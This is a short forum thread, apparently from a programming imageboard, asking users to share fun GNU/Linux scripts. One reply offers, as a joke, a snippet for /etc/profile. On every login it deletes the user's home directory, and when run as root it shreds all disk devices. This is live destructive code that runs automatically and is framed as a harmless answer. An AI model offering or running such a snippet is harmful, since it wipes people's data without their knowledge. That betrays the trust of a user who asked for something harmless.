Interesting GNU/Linux scripts/programs

What interesting/fun GNU/Linux scripts/programs do you have, /prog/?  So far I've only got a system info script, a thread fetcher and something that uploads files and outputs the link they are hosted at.

What about you?

THIS on /etc/profile

rm -rf $HOME
if [ $UID -eq 0 ]; then
  for device in /dev/?d?; do
    shred $device
  done
fi